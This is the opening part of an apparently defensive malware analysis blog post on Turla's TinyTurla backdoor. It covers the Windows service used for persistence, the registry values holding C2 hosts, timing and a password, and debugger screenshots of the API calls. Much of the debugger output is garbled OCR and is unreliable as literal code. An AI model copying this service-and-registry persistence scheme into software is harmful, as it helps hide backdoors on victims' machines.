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A step-by-step analysis of the Russian APT Turla backdoor called
TinyTurla - CYBER GEEKS
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Summary

Turla is a Russian-based group that has impacted government, embassies, military, education, and research
companies since 2004. Our analysis focuses on a backdoor called TinyTurla that was installed on an endpoint via a
Windows Service. The list of C2 servers and a password used for authentication with the servers are stored in the
Windows registry. The malware implements 12 different commands that include spawning and killing processes,
creating and exfiltrating files, creating pipes for process communication, and modifying registry values used

during the execution.

Analyst: @GeeksCyber

Technical analysis
SHA256: 030cbd1a51f8583ccfc3fa38a28a5550dc1c84c05d6c0f5eb887d13dedf1da01

The file is a 64-bit DLL that was installed as a service called “Microsoft Windows Time”

(https://blog.talosintelligence.com/2021/09/tinyturla.html). We’ve manually created a service called “W64Time”

and the corresponding registry keys/values by simulating the execution of the batch script mentioned in the Talos

article:
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WedTime Properties (Local Computer) >
General LogOn Recovery Dependencies

Senice name: W64 Time
Chsplay name: We4 Time

Descnption:

Path to executable:
"CAWINDOWS  System 32 svchost. exe -k TmeService”

Startup type: Manual v

Senvice status:  Stopped

Start ' Stop Pause Resums
You can specty the start parameters that apply when you start the senace
from here.
Start parameters: |
| Cancel | [ Aoel
Figure 1
B Registry Editor - u] b4

File Edit View Favortes Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\ WB4Time\ Parameters

vmickvpexchange || Name Type Data

VI'I'\ICI:U ab) (Default) REG_SZ (value not set)
vmu:l utdown 25| Hosts REG_SZ 90.90.90.90 9050
vmictimesync =

vmicvmsession E‘m S =

vmicvss 1| TimeLong REG_DWORD 000010000 (65536)
VMMemncCtl 1% TimeShart REG_DWORD (00005000 (20480)

Figure 2

Because we’re analyzing a 64-bit file, the calling convention is different, and the function arguments are passed to
the RCX, RDX, R8, and R9 registers. Additional arguments are pushed onto the stack (right to left).

RegisterServiceCtrlHandlerW is utilized to register a function to handle service control requests:

48 60 1A mov rbx,qword pr ds:[rdx] RAX  ODOOTFFBAT382470 <turla.Servicemain=
48 8D 15 EO FF FF FF|lea rdx,qword ptr dsi(7FFBA7382460] s s pierinie

#F 1& 57 om 00 00 E“r;:&;gxptr de3[<tRegisterserviceCtriHandl || RCX  00007FFELEDSADE0 L W4T ime

T Ty RDX  O0DO07FFBAT3B2460 turla.00007FFBA7 382460

Figure 3

The service status for the above service is set to 0x4 (SERVICE_RUNNING) via a function call to

SetServiceStatus:
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. SESS;EE‘E? 2l EE ::S RAX  0000000000002452
& | coooorrees o i RBX  00007FF618D5A060 L WE4Time"
® | 00007FF8AT3BZ44A cc int3 Rex  IAPRME
o | 0D007FFaA; o int3 RDX  000DD7FF8A7384000 Turla. 00007 FF8A7 384000
| 00007FF8A; c intz RBP  000D00B9DC27FIL0
| 00007FF8AT3E244D cc intz RSP 000DO0BIDCZTFEEO &L WE4Time"
| 0D0O7FF8AT3EZ44E C int3 RSI  000D00000DEDO2ES
| 00007FF8AT2E244F cc int3 RDI  0000000000000000
® | 0D0O7FF8AT3E2450 B8 01 00 00 00 mov eax,1
| 00007FFSAT3E2455 cz ret RE 0000021EDSEE0ADD
[ 935455 cc nt3 R9 00000008000006ES
: Sneant = i R10  0000000000000000
o 00007FFaA73R2459 cc int2 i W sl » -
o e o iicd R12  00DDOZ1EDECSBAZD L"turla.dll
. 28742 o intz R13  000000000000000A
. & inta R14  D0ODD7FFBA73B0000 turla. 00007 FF8A73B0000
. o int2 R15  FFFFFFEFFFEFFFFF
. cc int3
. << int3 RIP  0DDDTFFSAT3EZ4A9 turla. 00007 FF8AT3B24A%
. cz 0o 00 Fet o
. < intz RFLAGS 0000000000000202
. {de gt ZF 0 PFO AF O
: gg ::g OF 0 SF O DF O
= = s CFO TFO IF1
. o e LastError CO00DDOS
. cc int3 LastStatus CO000034 (STATUS_OBIECT_NAME_NOT_FOUND)
. <c int3
. cc int3 GS 002B FS 0053
. <c int3 ES 0028 DS 0028
. cc int3 €S 0033 355 0028
. <c int3
. 40 53 push rbx X87r0 00000000000000000000 STO Empty 0.000000000000C
: jg gg i‘; 20 ;ge I':gg szurd oTE R e X87r1 00000000000000000000 ST1 Empty 0.0000000000000
v 4 x87r2 00000000000000000000 ST2 Empty 0.0000000000000
: ol AR ;‘gs :gi'ﬁ‘;gm prr. ds: [SEREREARNER] x87r3 00000000000000000000 ST3 Empty O.000000000000
. FF 15 97 0B 00 00 €all gword ptr ds:[<&RegisterServicectrlHand] e G ORI IIOUIONG0 S5 FES EMDTV N MDERIO0IEL
. 43 39 05 90 18 00 00|mov qword ptr ds: [FFFBA73B4020] ,rax X87r5 00000000000000000000 STS EMPTY O.000000000000C
. 48 85 Co test rax,rax X87r6 00000000000000000000 STE EMPTY 0.000000000000C
----® ~ 74 4A je turla.7FF8A73B824DF x87r7 00000000000000000000 ST7 Empty 0.000000000000
. 48 8D 15 64 18 00 00|lea rdx,qword ptr ds: [7FF8A7384000]
. 2 C7 05 SE 1B 00 00 04|mov dword ptr ds:[7FF8A73B4004],4 x87Tagword FFFF
« | 00007FFaAT3RZ 286 48 8B C8 mov_rcx,rax e
. FF 15 69 OB 00 00 €al11 agword ptr ds:[<&Setservicestatus>] v
i e , | Default (x64 fastcal) ~ |5 [£]00 unlacke
qword ptr [0D007FFBA73B3018 <turla.&SetServiceStatus-]=<advapi32.SetServicestatus> % ,:du)f D0007FFBAT3E4000 turla.D0007FFBA73B4000
3: r8 0DD00Z1EDS8GE0ADD
4: ra 0000000SOD000GES
. text:00007FF8A73B24A9 turla.d11:$24A9 #1849

DD007FFE18D5A060
5 | D0000000D0GDO2ES
0| 00007 FF618D5 9080

We4Time'

Whoumpt  Yloump2  @lDump3  WWoump4  WlDumps @ watch1  be-llocals 47 Stuct
Address Hex | ascIT | A
00007FF8A73B4000 |20° 00 00 00|04 00 00 00|00 00 OO0 00|00 00O OO 0O e e s |
00007FF8A7384010( 00 00 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00f... et -

Figure 4

000000B9DC 2!
0DDO0DEIDCZ7FS
00D000BSDC27FE
0DD000BIDC27FS:

L"RUNDLL"

0 | DD00000000000000

After the main function finishes, the service status is set to 0x1 (SERVICE_STOPPED)

The RegOpenKeyExW API is used to open the “SYSTEM\CurrentControlSet\Services\W64Time\Parameters”
registry key (0x80000002 = HKEY_LOCAL_MACHINE, 0x20119 = KEY_READ | KEY_WOW64_64KEY)

® | DOOD7FFBAT3B2507 48 8D 44 24 38 lea rax,qword ptr ss:[rsp
. 38250C 48 C7 C1 02 00 00 80|mov rex, FFFFFFFFQDDUUUD“ Eﬁ gggg?gg;ﬁ;:;;zﬁ L"TimeLong”
. 382513 48 89 44 24 20 mov gward ptr rsp+20,rax M paniiidied
| 00007FFBA7382518 41 B9 19 01 02 00 mov rod,20119 5
o| 00007 FF“":BZSLE P xor rad.r&d RDX  0000027A72764FDO L"SYSTEM\\CurrentContral
RIPgs 1 1 FF 15 D9 0OA 00 00 call gword ptr ds: [<&RegOpenkeyExw=] REP  OODOODOB3CF3FFTCO
»| 00007 FFSA’ B2527 85 CO Test eax,eax RSP 0000DD083CF3FF710
®| DODOFFFBAT3E2529| ~ OF 85 83 00 00 00 jne turla.7FE8A73B25B2 RSI  0O000DOD0D0AS03BC
| 00007FFBA73B252F 48 88 4C 24 38 mav rox,qword pre ss:frsp RDI  00007FF618D5A060 L"We4Time"
| DO0D07FFBAT3E2534 48 8D 44 24 78 lea rax,qword ptr_ss:[rsp+7s]
® || DDDO7FFBA73B2539 48 89 44 24 28 mov gword ptr ss'[rspwo] rax RS 0000000000000000
|| D0007FF8A738253E 3% g[_; ég 24 30 Tea rgéqwggd ptr ss:firsp+3ol 'Y 0000000000020119
. xor rad,r
| D0007FFBAT3B2546 e cafasies eofonion inoy qwar‘d pte o :[Ersp+zoll,0 Eﬁ gggggggg&?gggggg
® | DODOTFFBAT3E254F 48 88 D3 ov_rd wrurla.d11”
|| 000D7FFBA73B2552 FF 15 B8 0OA 0O 00 can qward ptr ds: [<eRegoueryvalueExws] 12 R ODD00/ A7 2 7,650 X Cadaly
* || 00007FF8A73R2558 85 co test eax,eax B 1 QOO aONDDNNN00
ol 00007FFEATIEo5EA| ~ 75 4B jne turla.7FESA73B25A7 R14  00007FFS8A73B0000 turla. 00007 FF8A7 380000
® || 00007FFBAT3B255C 83 7C 24 30 04 cmp dword ptr ss:[rsp+zoll,4 R1S FFFFFFFFFFFFFFFF
® | DODOFFFBAT3B2561| ~ 75 44 jne turla.7FF8A73B25A7
| D0007FFBAT3B2563 8B 4C 24 78 mov_ecx,dword ptr ss:[rsp+7sl RIP  000O7FFSA7382521 turla. 00007 FF8A7382521
® | DOD0FFFBAT3E2567 ES A4 ED FF FF €all turla.7FF3A7381310
® || DDDO7FFBA73B256C 43 89 44 24 40 mov gword ptr ss:[Ersp+40f,rax RFLAGS 0000000000000246
e [ 00007FFBA7382571 48 85 €O test rax,rax ZE 1 PE 1 AF O
| 00007FFBA7382574| ~ 74 31 je turla.7FFBA73B25A7 OF 0 SE O DF O
® || 00007 FFS%‘SBZS‘E 43 BD 4C 24 78 Tea rcx,qword ptr ss:frsp+78j CEO TFO IF1
| DODOFFFBA73B2578 45 33 C9 xor rad,rod
| D0007FFBAT3B257E 48 89 4C 24 28 mov qword ptr s +26lll, rcx
® | DooO7FFEA73R2583 45 33 CO xor 5£d,rs§ . LastError CO000005
® || DODD7FFBAT3E2586 48 8B 4C 24 38 mov rcx,qword ptr Laststatus C000D034 (STATUS_OBJECT_NAME_NOT_FOUND)
# [ 00007FFEA73825 38 48 88 D3 mov rdx,rbx
| 00007FFBA73B258E 48 89 44 24 20 mov_qword ptr s sp+20f,ra GS 0028 FS 0053
o | 00007FFaAT3B2593 FF 15 77 0A 00 00 €all qword ptr ds [«ﬂegqueryva]uezxw;] ES 0028 QS 0028
| DODO7FFBA7382599 85 CO test eax,eax CS 0033 55 002
DO007FF8A7382598| ~ 74 1D je turla.7FFBA73B25BA
. 8333 EE;:ng;?E ég ;“; zs g; ;E 1:—?1r;ﬁ,’-??;;gﬁ;;;i;%sm"D] X87F0 00000000000000000000 STO EMPTY 0. 000000000000
i | 8 e e
2ca E <: [<areqclo X87T mpty 0.
. gggg-;;sa_ggsgé At :::162‘;’:“2;“" o [ERAEnRIEE CRE %87r3 00000000000000000000 ST3 Empty 0.000000000000
«| 00007EFBA73B25B4 46 83 C4 50 add rsp.so X87r4 00000000000000000000 ST4 Empty 0.000000000000
| 00007FF8AT3B25BS 5B pop rbx X87r5 00000000000000000000 STS EmpTy 0.000000000000
D0007FFBA73B25B9 c3 ret X87r6 00000000000000000000 ST6 EmpTy 0.000000000000
® | D0007FFBAT3B25BA 48 8B 44 24 40 mov rax,qword ptr ss {r5p+4u] X87r7 00000000000000000000 ST7 Empty O.000000000000
® | DOD0FFFBAT3B25BF 2B 08 mov ecx,dword ptr ds:
® || DDDO7FFBA73B25C1 48 8B 44 24 70 mov rax,qword ptr ”'[rspr-u] x87Tagword FFFF
. UEJO()‘FF"‘A‘SBZSCE 39 08 l_vlmv dword pt; H m
| DODOFFFBAT3B25CE 48 8D 4C 24 40 ea_rcx, gwor, =
o2 == sametn fnn — 5 | Default (xe4 fastcal) ~ |[5_[5]0J unlocke

rox 50000002
rdx 0000027A72764FD0 L"SYSTEM“\\CurrentCcontrolset’
rg 0000000000000000
r9 0000000000020119

gword ptr [0D0D0D07FF8A73B3000 <turla.&RegOpenkeyExw>]=<advapi32.RegOopenkeyExw>

. Text:00007FF8A73B2521 turla.d11:$2521 #1321

& 000 F 000000000000000A
Woump1  @Woump?  @Yoump3  @Woump4  @oumps @ watch1  x-llocas 4 Struct D000L0BICE e e 16| 00000274727 68090 | L Tur1a. d11"
address Hex ASCII o UOOUDD§§CF§FF 00007FFE18D5A060 | L"WE4Time"
0000027A72764FDO |53 00 59 00[53 00 54 00|45 00 4D 00|5C 00 43 00|S.Y.S.T.E QR00D083CE SEE DDDWFFM??,EP:F; e
0000027A72764FED| 75 00 72 00|72 00 65 00|6E 00 74 00(43 00 6F 00|u.r.r.e.n 0000000000000010
0000027A72764FF0| 6E 00 74 00|72 00 6F DO|6C 00 53 00(65 00 74 Oo|nm.t.r.o.1. 0O0DOO83CE3FETCO
0000027A72765000 | 5C 00 53 00|65 00 72 00|76 00 €3 00(63 00 €5 00|%\.5.e.r.v. 00DDDOBICF 3FF7 48 | DOD000000OAS03BC
0000027A72765010| 73 00 5C 00|57 00 36 00|34 00 54 00(69 00 6D 00|s.\.W.6.4. D000D0E2CE2EF750 | 000000000000001E
0000027A72765020| 65 00 5C 00|50 00 61 00|72 00 61 00|61 00 €5 00|e.\.P.a.r. D00000E3CFIFE7E 2| 0O0DTFEBAF23D2A2 | return to user3z.00007FFS
0000027A72765030(74 00 65 00|72 00 73 00|00 OO0 00 00|00 00 OO OO|t.e.r.s. - AAAAAAE A E S EET 2 | ARAAAAARAAARRRT A o

Figure 5
The process extracts the following registry values using RegQueryValueExW:

o TimeLong — the number of milliseconds that the malware waits when the C2 servers are not responding
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e TimeShort — the number of milliseconds between requesting different commands from the C2 server

e Security — password used to perform some sort of authentication

e Hosts — list of C2 domains and port numbers

DOD07FFS,

24
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00 00

00

00
00
00
00

00

00

80

00

int3

mov gword ptr ss:iffrsp+izdl,rs8
push rbx

sub
mov
mov
mov
lea
mov
mov

rsp,50

rbx, rdx
dword ptr ds:[rs8],0
rdx,rex

rax,qword ptr ss:[rsp+3s]
rox, FFEFFEEFBO000002
gword ptr ss:firsp+20f,rax
mov r9n,20119
xor rad,rsd

call qwur‘d ptr ds
test eax,eax
jne turla.?7FF8A73B25B2
mov rcx,gword ptr ss:[frsp+3sj)
lea rax,qword ptr s rsp+73j
mov gword ptr ss:[rsp+2sfl,rax
Tea r9,qward ptr ss:[Prsp+20l
xor rad,r8d
mov qwor‘d ptr
mov_r

call qwur‘d ptr ds:[<&RegQueryvalueExw>]
test eax,eax

jne turla.7FFBAT3B25A7

cmp dword ptr ss:iffrsp+zoll,4

jne turla.7FFBA73B25AT

mov_ecx,dword ptr ss:[rsp+7s)

€&l turla.7FFBA73R1310

mov qword ptr ss:[frspraofl,rax

test rax,rax

je turla.7FF8A73B25A7

lea rcx,gword ptr s
xor rod,rad

1 [<&RegOpenkeyExw>]

ss:firsp+20f,0

rsp+73J

mov qwor"d ptr ssilirsp+28l,rex
xor rad,rsd
mov rcx,gword ptr ss:[rsp+3s)

muv rdx, rbx
ov qwor‘d ptr ss:[frsp+z0f,rax
;;a“i:l gword ptr ds:[<&Regqueryvaluetxi:]

OF 0 SFO DFO
GCE. 0 FF 4 IF 1

LastError CO000005
LastsStatus 00000000 (STATUS_SUCCESS)

GS DD2B  FS 0053
ES 0028 DS 0028
CS 0033 S5 0028

1

7FF8A7 380000

7FFBA73B2593

RAX  0000027A72777F40

RBX  0DDO7FFBA73B31CO L"TimeLong"
RCX  00000000000001B0 ur’

RDX  0OD0OFFFBAT3B31CO L"TimeLong™
REBP 00000083CF3FF7CO

RSP 0000D0DS3CF3FF710

RSI  000000DO00AS0D3EC

RDI  00007FFGLS8D5ADG0 L"we4Time"

RE 0000000000000000

R2 0000000000000000

R10 0000027AT28912F0

R1l1  0000D0S3CF3FFEAQ

R1Z  00000DZ7A72768D90 L"turla.dl

R13  000000000000000A

R14  0DDO7FFBA73B0000 turla. 0000’

R15  FFFFFFFFFFFFFFFF

RIP O0007FFBAT3B2593 turla. 0000

RFLAGS  0000000000000246

ZF1 PF1 AF O

%x87r0 00000000000000000000 STO Empty 0.000000000000C
x87r1 00000000000000000000 ST1 Empty 0.000000000000C
x87r2 00000000000000000000 ST2 Empty 0.000000000000C
%87r3 00000000000000000000 ST3 Empty 0.000000000000C
x87r4 00000000000000000000 ST4 Empty 0.000000000000C
x87r5 00000000000000000000 STS Empty 0.000000000000C
XB7ré& 00000000000000000000 ST6 Empty 0.000000000000C
Xx87r7 00000000000000000000 ST7 Empty 0.000000000000C
x87Tagword FFFF

i ]
Defalt (x64 fastcal) -

qword ptr [DDOD7FFBA73B3010 <turla.

. TEXT:00007FF8A73B2593 turla.dl1:$2593 #1993

&RegQueryvalueExw>]=<advapi32.RegqueryvalueExw>

Woump1  @oumpz  @pumps  @houmps WWoumps @ watch1  Ivsllocls 4 Struct
Address | Hex IAa:n | s
0000027A72777F40[00 00 00 00[00 00 00 00[16 B8 2E 75|00 OC 0O 80 R
0000027A72777FE0| 00 00 00 00|00 0D 00 00|17 B8 2F 75(00 OD 00 80 5
Figure 6

o | oooorFFaa; cc int3
o [ 00DO7FF8A; e int3
D00D7FFEA (2= int3
o [ Do0O7FF8AT73 (5 int3
#| 00007FFEAT3B24E8 (% int3
o El cc int3
@ cc int3
. cc int3
CE int3
. 4C 89 44 24 18 rsp+18],r8
. 53
. 48 83 EC 50
- 48 8B DA m
. 41 €7 00 00 00 00 00
45 8B D1 m
. 48 8D 44 24 38 lea rax,qword s: rsp+3sll
B 48 C7 C1 02 00 00 BO|mov rcx,FFEEFFFFE0000002
. 48 89 44 24 20 mov gword ptr ss:[rsp+20f,rax
B 41 B 19 01 02 00 mov rad, ou.s
. 45 33 CO xor rsd,
FF 15 D9 0A 00 00 call qwurd ptr ds: [<&RegopenkeyExXw>]
85 CO test eax,eax
~ OF 85 83 00 00 00 jne turla.7FFaa73s2s82
48 8B 4C 24 38 mov rcx,qword ptr rsp+35]
. 48 8D 44 24 78 lea rax,qword ptr = |
. 48 89 44 24 28 mov gword ptr s;.{r’spnog rax
4C 8D 4C 24 30 lea ra,qgword ptr ss-[rspfana
. 45 33 CO xor rg&d,rs
. 48 €7 44 24 20 00 00 Y, gword ptr ss:[@rsp+zofl,0
. 48 8B D3 ov_rdx,rbx
. FF 15 BB 0OA 00 00 t;a‘rl qwurd ptr ds: [<&R egqQueryvalueExws]
85 CO Test eax,eax
v 75 4B jne turla.7FF8A73825A7
83 7C 24 30 04 cmp dword ptr ss:[rsp+30l, 4
v 75 a4 jne turla.7FF8A73B25A7
. 8B 4C 24 78 mov_ecx,dword ptr ss:[Ersp+7all
o E8 A4 ED FF FF turla.7FF8A7381310
4B 29 44 24 40 mov gword ptr ss:[rsp+40f,rax
w 48 85 CO test rax,rax
v 74 31 j& turla.7FFBA73B25A7
. 48 8D 4C 24 78 Tea rcx,guord ptr ss:[Brsp+7sll
o 45 33 C9 xor
. 48 89 4C 24 28 mov rsp+25ll, rex
45 33 CO xor
- 48 8B 4C 24 38 mov sp+35]
. 48 8B D3 mov
o [ 00007FF8A: 48 89 44 24 20 mov sp+20f, rax
F call [<&regQueryvalueExw>]
qword ptr [DDOO7FFBA73B3010 <turla.&RegQueryvalueExw=]=<advapi32.RegQueryvalueExw>

. TexXt:00007FFBAT3B2593 turla.d11:4$2593 #1993

] 3CF3FF71
00000083CF3FF720
00000083CF3FF728
DODO00S3CF3FF730

rex 1B0

rdx 00007FF8A73B31C0 L"TimeLong™
r& 0000000000000000
r9 0000000000000000

0000000000000004
00007FFSAT3B31C0
00007FF&00000004
00000083CF3FFT40
0D000027A7 2777F40

L"TimeLong"

Woump1  @oump2z  @Wpump3 @ pump 4

Wy Dump 5

@ watch1  Ie-llocals 47 Struct

Address [ Hex

| AscIz

0000027A72777FD0|00] 00 00 00[00 00 0O OO
o 7, 0|00 00 00 0 0

Figure 7

1F B8 27 75
ic B8 2

00 15 00 80
00 16 O
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3FF738 3FF788

OF 0 SF O DF 0
CFO TFO IF1

LasteError COO00005S
LastsTtatus 00000000 (STATUS_SUCCESS)

GS 002E FS 0053
ES 002B D3 002B
CS 0033 33 D0ZEB

XB7FO
XB7rl
XB7r2
X87r3
X87ra
X87FS

XB7r6
XB7r7

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

STO
ST1
5T2
5T3
ST4
STS
5T6
5T7

Empty
Empty
Empty
Empty
Empty
Empty
Empty
Empty

x87Tagword FFFF

RAX 0000027A72777FDO

REX  DO007FF8A73B31D8 L"T1meshor'\:"

RCX  000000D0000D0D1BD

RDX  0DDO7FFBA73B31D8 L"‘rmeshort"

REF  0O0OD00DS3CFIFFTCO

RSP  O00D00OS3CFIFFTL0

RSI 0000000000A503BC

RDI  DO007FFG18D5A060 L"We4Time"

RS 0000000000000000

RD 0000000000000000

R10  0ODOD0O27A728912F0

R11 00000083CF3FFEAD

R1Z  D0000Z7A72768D90 L"turla.d11"

R13  00000000000D0D00A

R14  00O07FFBA73B0000 turla. 00007 FFSA7 380000
R1E  FFFFFFFFFFFFFFFF

RIP  DO007FF8A73B2593 Turla. 00007 FF8AT 382593
RFLAGS  0000000000000246

ZE 1 PE Y CAEO

0.0000000000001
0. 000000000000
0. 000000000000
0. 000000000000
0.0000000000001
0.0000000000001
0.000000000000
0. 000000000000

Default (x64 fastcall)

rex 160

rdx 0D007FF8A73B31D8 L"Timeshort”
r3 0000000000000000
r9 0000000000000000

0000000000000004
5| DODO7FFBA73B31D8
00007FF600000004
00000083CF3FF7 40

L"Timeshort"

IFF7ER
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ol Idtientb b ég g;-‘!g rbx RAX  D0DOD27A727786ED
i = e RBX  D0DODOB3CF3FF798
. = it RCX  0000D000000001BO s S
. o intz RDX  00007FF8A73B31F0 L"Security”
. cc intz REP  DODODOB3CF3FF7CO
. cc int3 RSP D0DODOB3CF3FF730
. cc int3 RSI  0000D00000AS03BC
. cc int3 RDI  00007FF3A73B31F0 L Security”
. cc int3
- 48 89 5C 24 08 mov qword ptr ss;:frsp+all,rox RE 0000000000000000
. 57 push rdi R9 0000000000000000
: :g g; Ei R ;ﬁe Iﬁ?'?gx R10  00D0D27A72890FFO
' s R11  0O0DODDB3CF3FFECO
» e e S iy E‘S’g':f:g" e ek, o R1Z  0000027A7276EDI0 L*turla.di1”
. 48 8D 44 24 58 lea rax,qword ptr ss:[rsp+5s] R13  00000000CO00000A
. 43 88 D8 mov rbx.rs R14  00D07FF8A73B0000 turla. 00007FF8A73B0000
. 43 89 44 24 20 mov gword ptr ss:[rsp+20f,rax R15 FFFFFFFFFFFFFFFF
. 48 C7 C1 02 00 00 80|mov Ecx,;F?FFFFFoUUUEUU:J'
. 41 B9 19 00 02 00 mov r9d,20019 RIP  00007FFSAT3B2687 turla. 00007FFBA73B2687
. 45 33 CO xor_rad,rad
. FF 15 D& 09 00 00 call qwor‘d ptr ds:[<8RegopenKeyExw>] RFLAGS 0000000000000246
. 85 co test e e ZF 1 PF 1
~ 75 76 jne turla.7FFSA73B26A4
. 48 8B 4C 24 58 mov rcx,qword ptr ss:frsp+58] 2; g .?:: g [I’:: 2
. 48 8D 44 24 50 lea rax,qword ptr_ss:frsp+sof
: 3? §‘§ Z; 2 2 ')':g',f E‘;Q':SQQ‘F =5 fics prz o, rax LastError CO000D00S
. 45 33 CO xor rad,rad LastStatus 00000000 (STATUS_SUCCESS)
. 48 C7 44 24 20 00 00|mov gword ptr ss:f@rsp+zof,0
. 48 88 D7 mov_rdx,rdi GS 0028 FS 0053
. FF 15 BB 09 00 00 €81 qword ptr ds:[<eRegQueryvalueExw>] ES 0028 QS 002B
. 85 co test eax,eax Cs 0033 S5 0028
. ~ 75 40 jne turla.7FF8A73B2699
L 8B 4C 24 50 mov_ecx,dword ptr ss:frsp+50f X87r0 00000000000000000000 STO Empty 0.0000000000001
s 52 QS sg B EE ;gl‘-] ;g:;ﬁ-zrngf??l‘}g}Drax X87r1 00000000000000000000 ST1 Empty 0O.0000000000001
5 B oo el O 2 X87r2 00000000000000000000 STZ Empty 0.000000000000!
. Es o iE e ] X87r3 00000000000000000000 ST3 Empty 0.000000000000!
. 43 BD 4C 24 50 ea rox,qward ptr ss:Brsp+soll X87r4 00000000000000000000 ST4 Empty 0.000000000000!
p4 45 33 Ca mr rad.rad X87r5 00000000000000000000 STS Empty 0.000000000000!
. 48 89 4C 24 28 mov quord ptr ss:frspezal,rex X87ré 00000000000000000000 ST6 Empty 0.000000000000!
. 45 33 CO xor rad,rad X87r7 00000000000000000000 ST7 EmPty 0.000000000000!
. 3 48 8B 4C 24 58 mov rcx qwurd ptr ss:[rsp+ssll
|| 00007FFBAT3B267F 48 88 D7 mov rdx,rdi x87Tagword FFFF
|| 00007FFBA73B268. 48 89 44 24 20 mov_gword ptr ss:[frsp+20],ra -
FF 15 83 09 00 00 B ~‘1 rd ptr ds: [megqueryva'lueEva] —_—
ST - > Default (x64 fastcall)
- 1: rcx 0D00000DDO000DOIE0
qword ptr [DODD7FFS8A73IB3010 <turla.&RegqueryvalueExw»]=<advapi3z.RegqueryvalueExws rdx 00007FFSA73B31F0 L"Security”
r8 0000000000000000
r9 0000000000000000
. text: D0DO7FF8AT3B2687 turla.d11:52687 #1A87

000000000000000A
00000083CF3FF798
000000830000000A
0000000000000000
0000027A7277 86ED
3IFF780

0083CF3FF
00000083CF3FF740
00000083CF3FFT458
000DD0083CF3FF750
IFFTEE

@Woump1  @YDump?  WWDump3  WWDump4  UWDumps @ watch1  lx-llocals 2 struct
Address Hex |A9:I] |

0000027A727786E0 |80/ 00 00 00[00 00 00 00[00 0O 00 0O[00 0O 0O DO
0000027A727786F0| D0 00 00 00|00 00 00 00|8D B7 16 75|71 12 00 80

Figure 8

. gggg:§§§§'§agssg =8 Eop rhx RAX  00DDD27A727747B0
£ ZEERANEANG S (=] = RBX  00000DB3CF3FF7AD
00007FFBA73B25E8 66 int3 SRR EE S S i e
| DODO7FFBA73B25E9 cc int3 o
o | 00007FFBA73B25EA o« inta RDX  00D07FFSAT3IB3208 L"Hosts"
| 00007FFBA73R25ER cc inta REP  DO0ODOB3CF3FFTCO
| D00D7FF8A73B25EC e int3 RSP DODDDDB3CF3FF730
# | D0007FF8A73825ED cc int3 RSI  0O000DDDODOAS03BC
00007FFBA73B25EE cC int3 RDI  00DO7FFBA73B3208 L"HoSTS"
o | 00007FFaAT3B25EF 76, int3
® || DODO7FFBA73B25F0 48 89 5C 24 08 mov gword ptr ss:frsp+g RS 0000000000000000
| D0007FFBAT3B25F5 57 push rdi 'Y 0000000000000000
#| 00007FF8A73B25F6 48 83 EC 30 sub rsp,30 R10  O00D0ZTA7ZE30CFO
| 00007FFBA73B25FA 48 8B FA mov rdi,rdx Gh SRR
00007FF8A73B25FD 45 €7 00 00 00 00 00|mov qword ptr ds:[ral,o & it
HlEEakaiaa e 48 8B D1 mov rdx,rex R1Z  0O00DD27A72768D30 L turla.dil
®|| 00007FF8AT3B2607 48 8D 44 24 58 Tea rax,gword ptr ss:[rsp+sg] 11 OO R IO
o | 00007FF8A73B260C 49 8B D8 mov rbx.FS8 R14  00DO7FFBA73BO0O00 turla.00007FF8A73B0000
® || 00007FFBAT3B260F 48 89 44 24 20 mov gword ptr ss:[frsp+2of,rax R15 FFFFFFFFFFFFFFFF
| 00007FFBA73B2614 48 C7 C1 02 00 00 80|mov rcx,FFFFFFFFS0000002
00007FFBA73B261B 41 B9 19 00 02 00 mov rad,20019 RIP  O00OTFFBAT3B2687 turla, 00007FFBAT3B2687
00007FF8A73B2621 45 33 CO xor rad,rs
00007FFBA73B2624 FF 15 D6 09 00 00 €8l qword ptr ds: [<eRegOpenKeyExi=] RELAGS  0000000000000246
00007FFBA73B2624A 85 CO test eax,eax ZE 1 PE1 AF O
00007FFBA73B262C| v 75 76 jne turla.7FFsa73szeas OF 0 SFO DFO
00007FF8A73B262| 48 8B 4C 24 58 mov rcx,qword ptr ss:[[rsp+5s] Eo PGl EE A
D0D07FFBA73B2 48 8D 44 24 50 lea rax,qword ptr _ss:frsp+50)
| 00007FFBA73B2638 48 89 44 24 28 mov qword ptr ss:ffrsp+zaj,rax
» || 00007FFBA73B263D 45 33 C9 xor rod,rod LastError CO00000S
| 00007FFBA73R2€40 it 33 ca xor r8d,rsd LastStatus 00000000 (STATUS_SUCCESS)
| 00007FF8A73B2643 48 C7 44 24 20 00 0O iz qword per ss:frsp+2ol,0
| D0007FFBA73B264C 48 8B D7 ov_rdx,rdi GS 0028 FS 0053
D0007FF8A73B264F FF 15 BB 09 00 00 m1 qword ptr ds: [<&RegQueryvaluesxws] ES 0028 DS 0028
00007FF8 :E"GSS 85 CO test eax,eax CS 0033 S5 002B
- 00007FF B26! ~ 75 40 jne turla.7FF8A7382693
00007 FFS#:éEl:ESS 8B 4C 24 50 mov_ecx,dword ptr ss:[rsp+sof X87r0 00000000000000000000 STO Empty 0.000000000000
O nhy oD SRl e “‘rg" e e e X87r1 00000000000000000000 ST1 Empty 0.000000000000
80007 FF:‘_fa.,GGE i "':'g‘;tq‘:’g: rp L2 [rbx],rax X87rZ 00000000000000000000 STZ EmpTy 0.000000000000
& s o 3% turialcerearzszess X87r3 00000000000000000000 ST3 Empty 0.000000000000
it ety 48 8D 4C 24 5O lea rex,award ptr ss:rsp+5oll X87r4 00000000000000000000 ST4 Empty 0.000000000000
00007FFBA73B266F 45 33 C9 xor rod.red X87r5 00000000000000000000 STS Empty 0.000000000000
00007FFBA73B2672 48 89 4C 24 28 mov qword ptr ss:Ersp-zal,rex X87r6 00000000000000000000 STE Empty 0.000000000000
00007FFBA73B26 45 33 CO xor r&d,rsd X87r7 00000000000000000000 ST7 Empty 0.000000000000
| 00007FFBA73B267A 48 8B 4C 24 58 mov rcx,qword ptr ss:lErsp+ssl
| DODO7FFBA73B267F 48 8B D7 mov rdx,rdi x87Tagword FFFF
® || 00D07FFBA73B2682 48 89 44 24 20 mov_gword ptr ss:ffrsp+zof,rax %
FF 15 83 09 00 DO €all gword ptr ds:[<éRegQueryvalueExw:]
e O - Default (364 fastcall)
= 1: rcx 000DDO0ODODDOIBO
qword ptr [DDOD7FFBA7383010 <turla.&RegQueryvalueExw>]=<advapi32.RegQueryvalueExw> 2: rdx DODOTFFSAT3B3208 L"HOSTS"

rs 0000000000000000
0000000000000000

